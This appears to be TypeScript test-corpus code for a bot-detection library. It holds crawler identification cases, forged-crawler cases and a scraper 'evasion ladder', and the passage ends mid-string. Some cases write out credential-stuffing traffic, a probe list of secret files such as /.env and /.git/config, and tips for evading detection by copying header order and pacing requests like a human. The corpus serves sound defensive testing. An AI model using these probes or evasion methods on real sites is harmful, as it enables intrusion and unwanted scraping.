{\n neverAction: DENYING_ACTIONS,\n ...input.expect,\n },\n };\n}\n\n/** Declares a case involving automation. No implicit guarantees; say what you mean. */\nexport function bot(input: TrafficCase): TrafficCase {\n return input;\n}\n\n/** Repeats a request `count` times at a fixed interval. For rate and cadence shapes. */\nexport function repeat(template: CaseRequest, count: number, everyMs: number, pathAt?: (index: number) => string): CaseRequest[] {\n return Array.from({ length: count }, (_, index) => ({\n ...template,\n ...(pathAt ? { path: pathAt(index) } : {}),\n atMs: index * everyMs,\n }));\n}\n\n/**\n * Repeats a request with *human* pacing — irregular gaps drawn from a fixed sequence.\n *\n * Deterministic on purpose. A corpus that uses a random number generator produces a\n * different verdict on Tuesday than it did on Monday, and then nobody trusts it.\n */\nconst HUMAN_GAPS_MS = [1_400, 8_200, 3_100, 21_000, 2_600, 47_000, 5_900, 1_100, 12_400, 3_800, 64_000, 2_200, 9_700, 1_800];\n\nexport function humanPaced(template: CaseRequest, paths: readonly string[]): CaseRequest[] {\n let at = 0;\n return paths.map((path, index) => {\n if (index > 0) at += HUMAN_GAPS_MS[(index - 1) % HUMAN_GAPS_MS.length]!;\n return { ...template, path, atMs: at };\n });\n}\n","/**\n * Published IP ranges the corpus assumes.\n *\n * Several crawlers publish an exhaustive address list instead of setting PTR records,\n * and the library can only confirm or refute those claims when it has been handed the\n * list. These are the fictional stand-ins the corpus uses, drawn entirely from the\n * documentation ranges reserved by RFC 5737 so that nothing here can ever collide\n * with a real network.\n *\n * The convention, which the cases rely on:\n *\n * - **inside** the range → the claim is confirmed → `verified-bot`\n * - **outside** the range → the claim is refuted → `impersonator`\n *\n * Cases pick their address to land on the side they mean to test.\n */\nexport const CORPUS_CRAWLER_RANGES: Readonly<Record<string, readonly string[]>> = {\n // Amazonbot is deliberately absent. Something has to exercise the third outcome —\n // a claim that can be neither confirmed nor refuted because no list was supplied —\n // and that outcome must never look like an accusation.\n gptbot: [\"198.51.100.0/25\"],\n \"oai-searchbot\": [\"198.51.100.0/25\"],\n \"chatgpt-user\": [\"198.51.100.0/25\"],\n claudebot: [\"198.51.100.128/26\"],\n perplexitybot: [\"198.51.100.192/27\"],\n \"meta-ai\": [\"198.51.100.240/29\"],\n \"facebook-external\": [\"198.51.100.240/29\"],\n duckduckbot: [\"198.51.100.248/30\"],\n uptimerobot: [\"198.51.100.252/31\"],\n pingdom: [\"198.51.100.254/32\"],\n};\n\n/** An address inside a crawler's published range. */\nexport const IN_RANGE: Readonly<Record<string, string>> = {\n gptbot: \"198.51.100.10\",\n \"oai-searchbot\": \"198.51.100.11\",\n \"chatgpt-user\": \"198.51.100.12\",\n claudebot: \"198.51.100.130\",\n perplexitybot: \"198.51.100.194\",\n \"meta-ai\": \"198.51.100.241\",\n \"facebook-external\": \"198.51.100.242\",\n duckduckbot: \"198.51.100.249\",\n uptimerobot: \"198.51.100.252\",\n pingdom: \"198.51.100.254\",\n};\n\n/** Outside every published range above — the address a forgery would come from. */\nexport const OUT_OF_RANGE = \"192.0.2.66\";\n\n/**\n * Real Googlebot address space, used only as a *shape* for the FCrDNS cases.\n *\n * No lookup ever leaves the process: the runner answers from each case's own `dns`\n * map. The address is realistic so that a reader recognises what is being modelled.\n */\nexport const GOOGLEBOT_IP = \"66.249.66.1\";\nexport const GOOGLEBOT_PTR = \"crawl-66-249-66-1.googlebot.com\";\nexport const BINGBOT_IP = \"40.77.167.1\";\nexport const BINGBOT_PTR = \"msnbot-40-77-167-1.search.msn.com\";\n","import { plain } from \"./headers.js\";\nimport { bot } from \"./schema.js\";\nimport { IN_RANGE, OUT_OF_RANGE } from \"./ranges.js\";\nimport type { TrafficCase } from \"./schema.js\";\n\n/**\n * The AI fleet.\n *\n * Every vendor runs several bots with different jobs, and the distinction is the\n * whole point: a **training** crawler collects content for a future model, a\n * **search** crawler indexes pages so an assistant can cite them, and a **user** agent\n * fetches one page because somebody just asked about it. Those are three different\n * bargains. A publisher may well want to decline training, keep search — being cited\n * is traffic — and think carefully about user agents, which are arguably a person\n * with a tool rather than a bot at all.\n *\n * The library's job is to name them precisely enough that the policy can make that\n * distinction. Whether to serve them is a business decision, and the corpus takes no\n * position on it — every case here expects correct *identification*, not a particular\n * action.\n *\n * By 2026 this is the fastest-growing segment of automated traffic: training crawlers\n * fell from 90% to 74% of AI-driven requests over 2025 while scrapers rose to 24%,\n * and a new agentic category appeared. Every one of these declares itself honestly,\n * which is the only reason a rule matching them works at all.\n */\n\nfunction ai(id: string, title: string, userAgent: string, identity: string, provenance: string, notes?: string): TrafficCase {\n return bot({\n id,\n title,\n audience: \"declared-bot\",\n category: \"ai-crawler\",\n provenance,\n ...(notes !== undefined ? { notes } : {}),\n requests: [plain(userAgent)],\n expect: { verdict: \"confirmed-bot\", certain: true, identity, detectors: [\"self-identified\"] },\n });\n}\n\nexport const AI_CRAWLER_CASES: TrafficCase[] = [\n // --- OpenAI's three ---------------------------------------------------------\n bot({\n id: \"gptbot-in-range\",\n requires: [\"crawler-ranges\"],\n title: \"GPTBot from OpenAI's published range\",\n audience: \"declared-bot\",\n category: \"ai-crawler\",\n provenance: \"OpenAI publishes its crawler ranges at platform.openai.com/docs/bots\",\n notes: \"Training crawler. Confirmable only because the ranges were supplied — with none configured this is an unverifiable claim, which is the next case.\",\n requests: [{ ...plain(\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot\"), ip: IN_RANGE[\"gptbot\"]! }],\n expect: { verdict: \"verified-bot\", certain: true, identity: \"gptbot\", detectors: [\"crawler-verification\"] },\n tags: [\"verification\"],\n }),\n bot({\n id: \"amazonbot-no-ranges-configured\",\n title: \"Amazonbot when no ranges have been configured for it\",\n audience: \"declared-bot\",\n category: \"ai-crawler\",\n provenance: \"The library ships no address data; a claim it cannot check is left unchecked\",\n notes:\n \"The third outcome, and the one most easily got wrong. Unverifiable is not the same as false: with no published list to compare against, the claim stands on its own honesty and the crawler is neither confirmed nor accused.\",\n requests: [{ ...plain(\"Mozilla/5.0 (Linux; Android 6.0.1;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)\"), ip: \"203.0.113.77\" }],\n expect: { verdict: \"confirmed-bot\", botClass: \"declared-bot\", certain: true, identity: \"amazonbot\", notDetectors: [\"crawler-verification\"] },\n tags: [\"verification\"],\n }),\n bot({\n id: \"gptbot-forged\",\n requires: [\"crawler-ranges\"],\n title: \"A forged GPTBot from outside the published range\",\n audience: \"hostile\",\n category: \"ai-crawler\",\n provenance: \"Claiming a crawler identity is the cheapest way to ask for privileged treatment\",\n notes: \"Proven false, not merely suspected: the operator publishes the exhaustive list and this address is not on it.\",\n requests: [{ ...plain(\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.2; +https://openai.com/gptbot\"), ip: OUT_OF_RANGE }],\n expect: { verdict: \"confirmed-bot\", botClass: \"impersonator\", certain: true, identity: \"gptbot\" },\n tags: [\"verification\", \"impersonation\"],\n }),\n ai(\"oai-searchbot\", \"OAI-SearchBot\", \"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot\", \"oai-searchbot\", \"Search indexing for ChatGPT citations — declining this removes you from answers\", \"Distinct from GPTBot. Blocking both when you meant to block training is a common and costly mistake.\"),\n ai(\"chatgpt-user\", \"ChatGPT-User\", \"Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)\", \"chatgpt-user\", \"Fetches a page because a user asked about it, in real time\", \"Arguably a person holding a tool rather than a crawler. Rate-limiting it is reasonable; blocking it denies a reader.\"),\n\n // --- Anthropic --------------------------------------------------------------\n bot({\n id: \"claudebot-in-range\",\n requires: [\"crawler-ranges\"],\n title: \"ClaudeBot from its published range\",\n audience: \"declared-bot\",\n category: \"ai-crawler\",\n provenance: \"Anthropic documents its crawlers and publishes ranges\",\n requests: [{ ...plain(\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +claudebot@anthropic.com)\"), ip: IN_RANGE[\"claudebot\"]! }],\n expect: { verdict: \"verified-bot\", certain: true, identity: \"claudebot\" },\n tags: [\"verification\"],\n }),\n ai(\"claude-user\", \"Claude-User\", \"Mozilla/5.0 (compatible; Claude-User/1.0; +Claude-User@anthropic.com)\", \"claudebot\", \"Fetches a page on a user's behalf during a conversation\"),\n ai(\"claude-searchbot\", \"Claude-SearchBot\", \"Mozilla/5.0 (compatible; Claude-SearchBot/1.0; +Claude-SearchBot@anthropic.com)\", \"claudebot\", \"Indexes pages so Claude can cite them\"),\n\n // --- The rest ---------------------------------------------------------------\n bot({\n id: \"perplexitybot-in-range\",\n requires: [\"crawler-ranges\"],\n title: \"PerplexityBot from its published range\",\n audience: \"declared-bot\",\n category: \"ai-crawler\",\n provenance: \"Perplexity publishes ranges for its indexing crawler\",\n requests: [{ ...plain(\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot\"), ip: IN_RANGE[\"perplexitybot\"]! }],\n expect: { verdict: \"verified-bot\", certain: true, identity: \"perplexitybot\" },\n tags: [\"verification\"],\n }),\n ai(\"perplexity-user\", \"Perplexity-User\", \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Perplexity-User/1.0; +https://perplexity.ai/perplexity-user\", \"perplexitybot\", \"Real-time fetch on a user's request\"),\n ai(\"google-extended\", \"Google-Extended\", \"Mozilla/5.0 (compatible; Google-Extended/1.0)\", \"google-extended\", \"A robots.txt token controlling Gemini training, not a separate crawler — declining it does not affect Search ranking\", \"Worth understanding: this is a *policy token* Google honours, not a distinct fetcher. Confusing it with Googlebot loses your search traffic for nothing.\"),\n ai(\"applebot-extended\", \"Applebot-Extended\", \"Mozilla/5.0 (compatible; Applebot-Extended/0.1; +http://www.apple.com/go/applebot)\", \"applebot-extended\", \"Apple's training-opt-out token, paired with Applebot for search\"),\n ai(\"ccbot\", \"CCBot (Common Crawl)\", \"CCBot/2.0 (https://commoncrawl.org/faq/)\", \"ccbot\", \"Feeds the Common Crawl corpus, which most open models were trained on\"),\n ai(\"meta-externalagent\", \"Meta-ExternalAgent\", \"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)\", \"meta-ai\", \"Meta's AI training crawler, separate from facebookexternalhit\"),\n ai(\"meta-externalfetcher\", \"Meta-ExternalFetcher\", \"meta-externalfetcher/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)\", \"meta-ai\", \"Fetches on a user's behalf inside Meta AI\"),\n ai(\"cohere-ai\", \"Cohere\", \"cohere-training-data-crawler/1.0 (+https://cohere.com/data-crawler)\", \"cohere-ai\", \"Training data collection\"),\n ai(\"diffbot\", \"Diffbot\", \"Mozilla/5.0 (compatible; Diffbot/0.1; +http://www.diffbot.com)\", \"diffbot\", \"Structured extraction sold as a product — a crawler with mixed robots.txt compliance\"),\n ai(\"ai2bot\", \"AI2Bot\", \"Mozilla/5.0 (compatible) AI2Bot (+https://www.allenai.org/crawler)\", \"ai2bot\", \"The Allen Institute's research crawler\"),\n ai(\"youbot\", \"YouBot\", \"Mozilla/5.0 (compatible; YouBot (+http://www.you.com))\", \"youbot\", \"You.com's search and answer crawler\"),\n ai(\"timpibot\", \"Timpibot\", \"Mozilla/5.0 (compatible; Timpibot/0.1; +http://www.timpi.io)\", \"timpibot\", \"Decentralised index crawler\"),\n\n bot({\n id: \"bytespider\",\n title: \"Bytespider\",\n audience: \"unwanted-bot\",\n category: \"ai-crawler\",\n provenance: \"ByteDance's crawler. Widely reported for aggressive rates and inconsistent robots.txt compliance, and it publishes no vendor documentation page at all.\",\n notes:\n \"Classified `unwanted-bot` rather than `declared-bot` on its behaviour, not its honesty — it does identify itself. The distinction is a policy judgement the corpus records rather than a technical one.\",\n requests: [plain(\"Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)\")],\n expect: { verdict: \"confirmed-bot\", certain: true, identity: \"bytespider\" },\n }),\n\n bot({\n id: \"agentic-browser\",\n title: \"An agentic assistant driving a real browser on a user's behalf\",\n audience: \"declared-bot\",\n category: \"ai-agent\",\n provenance:\n \"The category that appeared during 2025 and grew fastest through 2026: an assistant operating a real browser to complete a task a person asked for. Some announce themselves; this one does.\",\n notes:\n \"The hardest case in the corpus, and not a technical problem. Every signal says automation, and the honest description is 'a person, using a tool, that happens to be a browser being driven'. The library reports what it sees; whether that should be served is a question about your business, not your logs.\",\n requests: [\n plain(\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Autonomous-Agent/1.0 (+https://example-agent.ai/bot)\",\n [[\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"], [\"Accept-Language\", \"en-US,en;q=0.9\"], [\"Accept-Encoding\", \"gzip, deflate, br\"]],\n ),\n ],\n expect: { verdict: \"confirmed-bot\", botClass: \"declared-bot\", certain: true },\n tags: [\"frontier\"],\n }),\n];\n","import { browser, plain, userAgentOf } from \"./headers.js\";\nimport { bot } from \"./schema.js\";\nimport { GOOGLEBOT_IP, OUT_OF_RANGE } from \"./ranges.js\";\nimport type { TrafficCase } from \"./schema.js\";\n\n/**\n * Traffic that is trying not to be caught.\n *\n * This is where the library's limits are honest rather than flattering. The cases run\n * from crude to genuinely hard, and the hard ones are expected to *not* be proven —\n * because they are not provable from a single request, and claiming otherwise is how\n * a detector starts blocking people.\n *\n * The progression is deliberate:\n *\n * 1. A scraper that copies a User-Agent and nothing else. Caught easily.\n * 2. One that copies the whole header set but not the order. Caught, weakly.\n * 3. One that copies the order too. Not caught from one request — only behaviour is\n * left, and behaviour cannot prove anything.\n * 4. One that also paces itself like a person. Not caught at all, and the corpus says\n * so rather than inventing a signal.\n */\n\nconst CHROME_UA = userAgentOf(\"chromeWindows\");\n\nexport const ADVERSARIAL_CASES: TrafficCase[] = [\n // ---------------------------------------------------------------------------\n // Forged identities. The narrow case where a lie is provable.\n // ---------------------------------------------------------------------------\n bot({\n id: \"forged-googlebot-wrong-ptr\",\n title: \"A forged Googlebot whose address reverse-resolves elsewhere\",\n audience: \"hostile\",\n category: \"impersonation\",\n provenance: \"The commonest forgery: claim the crawler every site allows\",\n notes: \"Proven, not suspected. Google publishes a DNS-based proof and the lookup returns a definitive contradiction.\",\n requests: [{ ...plain(\"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\"), ip: \"192.0.2.44\" }],\n dns: { reverse: { \"192.0.2.44\": [\"vps-4471.cheap-hosting.example\"] } },\n expect: { verdict: \"confirmed-bot\", botClass: \"impersonator\", certain: true, identity: \"googlebot\", detectors: [\"crawler-verification\"] },\n tags: [\"impersonation\", \"verification\"],\n }),\n bot({\n id: \"forged-googlebot-no-ptr\",\n title: \"A forged Googlebot from an address with no PTR record at all\",\n audience: \"hostile\",\n category: \"impersonation\",\n provenance: \"Every address a verifiable crawler uses has a PTR record; a bare VPS usually does not\",\n notes: \"NXDOMAIN is a definitive answer, unlike a timeout. That distinction is what separates this case from `googlebot-dns-unavailable`.\",\n requests: [{ ...plain(\"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\"), ip: \"192.0.2.45\" }],\n dns: {},\n expect: { verdict: \"confirmed-bot\", botClass: \"impersonator\", certain: true, identity: \"googlebot\" },\n tags: [\"impersonation\", \"verification\"],\n }),\n bot({\n id: \"forged-googlebot-suffix-trick\",\n title: \"A forgery whose PTR merely contains the operator's domain\",\n audience: \"hostile\",\n category: \"impersonation\",\n provenance: \"googlebot.com.attacker.example resolves under a domain the attacker controls\",\n notes: \"The reason domain matching is on label boundaries and not a substring test.\",\n requests: [{ ...plain(\"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\"), ip: \"192.0.2.46\" }],\n dns: { reverse: { \"192.0.2.46\": [\"googlebot.com.attacker.example\"] }, forward: { \"googlebot.com.attacker.example\": [\"192.0.2.46\"] } },\n expect: { verdict: \"confirmed-bot\", botClass: \"impersonator\", certain: true },\n tags: [\"impersonation\", \"verification\"],\n }),\n bot({\n id: \"forged-googlebot-forward-mismatch\",\n title: \"A forgery with a PTR it controls that does not resolve back\",\n audience: \"hostile\",\n category: \"impersonation\",\n provenance: \"Anyone controlling reverse DNS for their own address can point it at googlebot.com; only the forward confirmation stops them\",\n requests: [{ ...plain(\"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\"), ip: \"192.0.2.47\" }],\n dns: { reverse: { \"192.0.2.47\": [\"crawl-1.googlebot.com\"] }, forward: { \"crawl-1.googlebot.com\": [GOOGLEBOT_IP] } },\n expect: { verdict: \"confirmed-bot\", botClass: \"impersonator\", certain: true },\n tags: [\"impersonation\", \"verification\"],\n }),\n bot({\n id: \"forged-bingbot\",\n title: \"A forged bingbot\",\n audience: \"hostile\",\n category: \"impersonation\",\n provenance: \"The same trick against the second most-allowed crawler\",\n requests: [{ ...plain(\"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)\"), ip: \"192.0.2.48\" }],\n dns: { reverse: { \"192.0.2.48\": [\"static.192-0-2-48.example.net\"] } },\n expect: { verdict: \"confirmed-bot\", botClass: \"impersonator\", certain: true },\n tags: [\"impersonation\"],\n }),\n bot({\n id: \"forged-claudebot\",\n requires: [\"crawler-ranges\"],\n title: \"A forged ClaudeBot from outside the published range\",\n audience: \"hostile\",\n category: \"impersonation\",\n provenance: \"AI crawlers are increasingly allowlisted, which makes them worth forging\",\n requests: [{ ...plain(\"Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)\"), ip: OUT_OF_RANGE }],\n expect: { verdict: \"confirmed-bot\", botClass: \"impersonator\", certain: true, identity: \"claudebot\" },\n tags: [\"impersonation\", \"verification\"],\n }),\n\n // ---------------------------------------------------------------------------\n // The evasion ladder.\n // ---------------------------------------------------------------------------\n bot({\n id: \"scraper-copied-ua-only\",\n title: \"Level 1: a scraper that copied a Chrome User-Agent and nothing else\",\n audience: \"unwanted-bot\",\n category: \"evasion-ladder\",\n provenance: \"The overwhelming majority of scraping. One header changed, everything else default.\",\n notes:\n \"Missing Accept-Language, missing Sec-Fetch, missing Client Hints, and Accept is */* on a navigation. Four observations — but *not* four independent ones: the first three are absences with one shared benign explanation, a stripping intermediary, so they collapse to their strongest member rather than compounding. That is why this scores in the sixties rather than the nineties, and it is deliberate: the same four absences arrive together from a corporate proxy in front of a real person.\",\n requests: [{ headers: [[\"Host\", \"shop.example\"], [\"User-Agent\", CHROME_UA], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"gzip, deflate\"]], protocol: \"https\", httpVersion: \"1.1\" }],\n expect: { verdict: \"suspected-bot\", certain: false, minScore: 60, detectors: [\"header-integrity\"] },\n tags: [\"evasion\"],\n }),\n bot({\n id: \"scraper-copied-headers-wrong-order\",\n title: \"Level 2: a scraper that copied the whole header set but not the order\",\n audience: \"unwanted-bot\",\n category: \"evasion-ladder\",\n provenance: \"Copying headers out of devtools into a dict loses the order, because a dict has none\",\n notes: \"Everything a browser sends, in an order no browser sends it in. Only the ordering rules and the missing hints are left.\",\n requests: [\n {\n headers: [\n [\"Host\", \"shop.example\"],\n [\"Accept-Encoding\", \"gzip, deflate, br\"],\n [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\"],\n [\"Accept-Language\", \"en-US,en;q=0.9\"],\n [\"User-Agent\", CHROME_UA],\n [\"Sec-Fetch-Site\", \"none\"],\n [\"Sec-Fetch-Mode\", \"navigate\"],\n [\"Sec-Fetch-User\", \"?1\"],\n [\"Sec-Fetch-Dest\", \"document\"],\n [\"Upgrade-Insecure-Requests\", \"1\"],\n [\"Connection\", \"keep-alive\"],\n ],\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { certain: false, detectors: [\"header-order\"], neverAction: [\"drop\"] },\n tags: [\"evasion\"],\n }),\n bot({\n id: \"scraper-perfect-headers\",\n title: \"Level 3: a scraper that copied the header set, the order and the hints\",\n audience: \"unwanted-bot\",\n category: \"evasion-ladder\",\n provenance: \"What a competent scraping stack sends in 2026, using a browser-impersonating TLS library\",\n notes:\n \"Indistinguishable from a browser on a single request, and the library says so: no evidence, verdict unknown. Anything else would be an invented signal. Only behaviour over time can separate this, and behaviour cannot prove anything — which is exactly why it may not block.\",\n requests: [browser(\"chromeWindows\")],\n expect: { verdict: \"unknown\", maxScore: 0 },\n tags: [\"evasion\", \"known-limit\"],\n }),\n bot({\n id: \"scraper-perfect-headers-machine-paced\",\n title: \"Level 4: the same scraper, enumerating at a machine-perfect rhythm\",\n audience: \"unwanted-bot\",\n category: \"evasion-ladder\",\n provenance: \"Perfect headers, and a request every two seconds to stay under a rate limit\",\n notes:\n \"Rate counting sees nothing — thirty requests over a minute is unremarkable. Cadence sees a coefficient of variation near zero, which no person produces. This is the case where behaviour earns its place.\",\n requests: Array.from({ length: 20 }, (_, index) => ({ ...browser(\"chromeWindows\"), path: `/products/${index + 1}`, atMs: index * 2_000 })),\n expect: { certain: false, detectors: [\"cadence\"], neverAction: [\"drop\"] },\n tags: [\"evasion\"],\n }),\n bot({\n id: \"scraper-perfect-headers-human-paced\",\n title: \"Level 5: perfect headers, human pacing, one page at a time\",\n audience: \"unwanted-bot\",\n category: \"evasion-ladder\",\n provenance: \"A distributed scrape: each address takes a handful of pages at irregular intervals and never returns\",\n notes:\n \"Not detected, and the corpus records that plainly. At this point the difference from a person has stopped being technical — there is no signal left at the HTTP layer. What defeats this is cost, not detection: a proof of work, or an account.\",\n requests: [\n { ...browser(\"chromeWindows\"), path: \"/products/501\", atMs: 0 },\n { ...browser(\"chromeWindows\"), path: \"/products/502\", atMs: 7_400 },\n { ...browser(\"chromeWindows\"), path: \"/products/503\", atMs: 23_100 },\n ],\n expect: { verdict: \"unknown\", maxScore: 30 },\n tags: [\"evasion\", \"known-limit\"],\n }),\n\n // ---------------------------------------------------------------------------\n // Traps: detection by construction rather than by inference.\n // ---------------------------------------------------------------------------\n bot({\n id: \"trap-path-followed\",\n title: \"Following a link hidden from layout and from assistive technology\",\n audience: \"unwanted-bot\",\n category: \"trap\",\n provenance: \"A link rendered off-screen with aria-hidden and tabindex=-1, and disallowed in robots.txt\",\n notes:\n \"The only detector whose false-positive rate does not depend on how well the internet is behaving. It does not model what bots look like; it constructs a situation only a bot can be in.\",\n requests: [{ ...browser(\"chromeWindows\"), path: \"/internal/export.csv\" }],\n expect: { verdict: \"confirmed-bot\", certain: true, detectors: [\"trap\"] },\n }),\n bot({\n id: \"trap-field-filled\",\n title: \"Filling a hidden form field\",\n audience: \"hostile\",\n category: \"trap\",\n provenance: \"A honeypot input that is rendered but unreachable by pointer, keyboard or screen reader\",\n notes: \"Rendering the field and forgetting to register its name with the detector is a mistake that fails silently — which is why this case declares the dependency rather than assuming it.\",\n requires: [\"trap-form-field:company_url\"],\n requests: [{ ...browser(\"chromeWindows\"), method: \"POST\", path: \"/contact?company_url=http%3A%2F%2Fspam.example\" }],\n expect: { verdict: \"confirmed-bot\", certain: true, detectors: [\"trap\"] },\n }),\n\n // ---------------------------------------------------------------------------\n // Attacks. Not this library's job to stop, but its job to describe.\n // ---------------------------------------------------------------------------\n bot({\n id: \"credential-stuffing-browserlike\",\n title: \"Credential stuffing from a browser-shaped client\",\n audience: \"hostile\",\n category: \"attack\",\n provenance: \"Modern stuffing runs through headless browsers with correct headers, at a steady rate\",\n notes:\n \"Nothing here is provable, and that is the point of the `delay` action: a quarter of a second per attempt is imperceptible to a person filling in a form and removes the throughput the attack depends on, while excluding nobody.\",\n requests: Array.from({ length: 12 }, (_, index) => ({ ...browser(\"chromeWindows\"), method: \"POST\", path: \"/login\", atMs: index * 900 })),\n expect: { certain: false, neverAction: [\"drop\"] },\n tags: [\"attack\"],\n }),\n bot({\n id: \"credential-stuffing-scripted\",\n title: \"Credential stuffing from a bare script\",\n audience: \"hostile\",\n category: \"attack\",\n provenance: \"The cheap version, and still the common one\",\n requests: Array.from({ length: 12 }, (_, index) => ({\n headers: [[\"Host\", \"shop.example\"], [\"User-Agent\", \"python-requests/2.32.3\"], [\"Accept-Encoding\", \"gzip, deflate\"], [\"Accept\", \"*/*\"], [\"Content-Type\", \"application/x-www-form-urlencoded\"]] as const,\n method: \"POST\",\n path: \"/login\",\n protocol: \"https\" as const,\n httpVersion: \"1.1\",\n atMs: index * 250,\n })),\n expect: { verdict: \"confirmed-bot\", botClass: \"http-client\", certain: true },\n tags: [\"attack\"],\n }),\n bot({\n id: \"path-enumeration\",\n title: \"Enumerating admin paths\",\n audience: \"hostile\",\n category: \"attack\",\n provenance: \"Content discovery against a list of common paths\",\n requests: [\"/admin\", \"/wp-admin\", \"/.env\", \"/.git/config\", \"/phpmyadmin\", \"/backup.zip\", \"/config.json\", \"/api/v1/users\", \"/actuator/env\", \"/server-status\"].map((path, index) => ({\n ...plain(\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\"),\n path,\n atMs: index * 80,\n })),\n expect: { certain: false, neverAction: [\"drop\"] },\n notes: \"This library classifies traffic; it does not recognise attack payloads. For that, put a honeypot or a WAF alongside it.\",\n tags: [\"attack\", \"known-limit\"],\n }),\n bot({\n id: \"http2-connection-header\",\n title: \"A hand-assembled HTTP/2 request carrying a connection-specific header\",\n audience: \"hostile\",\n category: \"protocol-abuse\",\n provenance: \"RFC 9113 §8.2.2 forbids connection-specific header fields in HTTP/2 and requires endpoints to treat them as malformed\",\n notes: \"One of very few deterministic signals available from a single request: every compliant client honours this, so a violation means the request was assembled by something that does not implement the protocol.\",\n requests: [{ headers: [[\"Host\", \"shop.example\"], [\"User-Agent\", CHROME_UA], [\"Accept\", \"*/*\"], [\"Connection\", \"keep-alive\"], [\"Transfer-Encoding\", \"chunked\"]], protocol: \"https\", httpVersion: \"2.0\" }],\n expect: { verdict: \"confirmed-bot\", certain: true, detectors: [\"header-integrity\"] },\n }),\n bot({\n id: \"ua-rotation-single-actor\",\n title: \"One actor cycling through a User-Agent list\",\n audience: \"unwanted-bot\",\n category: \"evasion\",\n provenance: \"A scraper rotating identities from a list, from one address\",\n notes:\n \"Only meaningful when the actor key is narrower than an address — behind a NAT this shape is a busy office. The detector that catches it ships disabled for exactly that reason, so the default configuration is expected to miss this.\",\n requests: [\n { ...plain(userAgentOf(\"chromeWindows\")), path: \"/p/1\", atMs: 0 },\n { ...plain(userAgentOf(\"firefoxWindows\")), path: \"/p/2\", atMs: 400 },\n { ...plain(userAgentOf(\"safariMac\")), path: \"/p/3\", atMs: 800 },\n { ...plain(userAgentOf(\"edgeWindows\")), path: \"/p/4\", atMs: 1_200 },\n { ...plain(userAgentOf(\"chromeAndroid\")), path: \"/p/5\", atMs: 1_600 },\n ],\n expect: { certain: false, neverAction: [\"drop\"] },\n tags: [\"evasion\", \"known-limit\"],\n }),\n\n // ---------------------------------------------------------------------------\n // Fabricated User-Agents. Not a copied one — an assembled one.\n //\n // A scraping stack that reaches for a \"random user agent\" package gets a string\n // drawn from independent lists of browsers, versions and platforms, and nothing in\n // the package checks that the combination is a build that shipped. The result reads\n // convincingly to a human eye and describes a client that has never existed.\n // ---------------------------------------------------------------------------\n bot({\n id: \"ua-forged-chrome-on-iphone\",\n title: \"A randomised User-Agent claiming Chrome on an iPhone\",\n audience: \"unwanted-bot\",\n category: \"ua-forgery\",\n provenance: \"The commonest output of a UA-randomiser: a desktop Chrome token glued to an iOS platform block\",\n notes:\n \"Apple requires every iOS browser to use the system WebKit, so Chrome for iOS reports CriOS and an AppleWebKit build of 605.1.15. A string with iPhone, Chrome/ and AppleWebKit/537.36 in it is describing a browser Apple does not permit to exist. Still not `certain`: a person running a UA-spoofing extension produces fabricated strings too.\",\n requests: [{ ...plain(\"Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Mobile Safari/537.36\", [[\"Accept-Language\", \"en-US,en;q=0.9\"], [\"Accept-Encoding\", \"gzip, deflate, br\"]]) }],\n expect: { certain: false, detectors: [\"ua-coherence\"], neverAction: [\"block\", \"drop\"] },\n tags: [\"evasion\", \"ua-forgery\"],\n }),\n bot({\n id: \"ua-forged-two-platforms\",\n title: \"A User-Agent naming Windows and macOS at once\",\n audience: \"unwanted-bot\",\n category: \"ua-forgery\",\n provenance: \"A template concatenated with a platform block that was already there\",\n requests: [{ ...plain(\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36\", [[\"Accept-Language\", \"en-GB,en;q=0.9\"], [\"Accept-Encoding\", \"gzip, deflate, br\"]]) }],\n expect: { certain: false, detectors: [\"ua-coherence\"], neverAction: [\"block\", \"drop\"] },\n tags: [\"evasion\", \"ua-forgery\"],\n }),\n bot({\n id: \"ua-forged-gecko-in-webkit\",\n title: \"A User-Agent claiming Firefox with an AppleWebKit engine\",\n audience: \"unwanted-bot\",\n category: \"ua-forgery\",\n provenance: \"A Chromium template with the browser token swapped for Firefox and the engine block left alone\",\n notes: \"Gecko has never reported 